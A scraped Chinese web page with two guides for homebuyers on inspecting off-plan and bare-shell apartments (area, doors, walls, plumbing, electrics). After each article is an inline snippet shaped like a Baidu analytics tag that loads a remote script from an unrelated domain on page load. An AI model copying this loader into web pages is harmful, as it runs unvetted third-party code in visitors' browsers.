如何验收期房 毛坯房应该如何验收

期房交房一般分精装和毛坯，在验收的时候有着很大的区别，很多业主觉得精装房需要仔细验收，毛坯房看看格局就好，却忽略了毛坯房验收结果会影响到后续的装修。那么，如何验收期房呢？一、如何验收期房之房屋面积测量房屋的面积，核实与购买面积是否一致，如果面积对比误差超过3%，可以要求开发商退房。二、如何验收期房之门窗检查室内门窗，现在的房子大多数都是高层，门窗的质量与居住安全息息相关，很多家庭在装修时只更换门，而不会换窗户，因此在验收时要仔细检查门窗品牌与合同上的是否一致。如果不准备更换门，也要检查门是否有破损变形，在后续装修中，各种装修材料进出，非常容易刮伤门板，提前做好验收，可防止后期装修人员推卸责任。检查室内窗户的密封条和滑轮、玻璃等是否破损，开关是否灵活。三、如何验收期房之墙面和地面检查墙面和地面，墙面和地面是出现问题比较多的地方，一些小瑕疵可以通过装修来弥补，例如与横梁平行的墙面有裂缝，一般不存在危险，可直接让装修工人填补，但如果裂缝横梁垂直，表明沉降严重，要及时与物业相关人员沟通。检查墙面空鼓、爆灰、起粉现象，轻微的可以后期修补，严重的也要及时与相关人员联系处理。四、如何验收期房之水电和燃气验收检查燃气报警器是否灵敏，报警时阀门是否能够自动关闭。下水管是否有破损或修补迹象，卫生间是否有预留通风口。将水阀打开，检查水管能否顺畅出水，并观察水管是否有漏水现象。检查阳台顶部排水管及周围是否有渗漏。以上就是如何验收期房毛坯房的内容，一定要先验后收，避免收房后产生纠纷。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

毛坯房如何验房 主要验收哪些方面

尽管许多业主选择精装房，但仍有不少业主仍然喜欢根据自己的意愿来装修装饰，毛胚房是一个不错的选择。毛胚房在交房之前同样需要仔细检查房屋，虽然不和精装房验收装修成品及效果，但是关系到房屋整体结构和基本工程。因此需要了解验房的程序和要点，那么毛坯房如何验房？主要有文件、门窗、墙体地面、水电等方面。一、毛坯房如何验房-验收文件按照规定预售房的面积和交房测量时3%的误差都属于国家允许范围，在收楼通知之前，有关部门会进行面积的测量，如果面积差的太大会进行相应补偿。毛胚房验房程序的第一步，就是验收相关房屋证明的文件，从而检验房屋各方面的达标状况。二、毛坯房如何验房-验收门窗首先查看门窗是否有划痕、凹痕和其他损坏，安装位置是否正当，开关的时候是否灵活、有无异常声音，注意锁柄是否牢固，比如说猫眼、锁孔片等配件是否安装齐全。此外验房前备好房屋装修各类型的图纸，不仅应该有房屋的平面图，而且有电路、水路设计图。三、毛坯房如何验房—验收墙体地面可以用泼水方法来检查地面的倾斜度，毛胚房这些小缺陷可以在装修期间得到修复。如果房间是由预制板或现浇板制成，则应使用腻子涂抹，以实现平坦度、无裂缝，表面光滑、颜色基本均匀并且线角直，确保每个房间每层的地面混凝土应该是表面水平、牢固的。四、毛坯房如何验房-验收水电水电是整个房子的经络，如果不达标，生活的基本需求将来也会有问题。因此有必要检查水电基础设施。检查水管是否光滑，冲洗声是否正常。检查房屋内的弱电路径是否畅通无阻，需要用兆欧表测试房屋内电线的绝缘电阻值，以确保安全使用。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();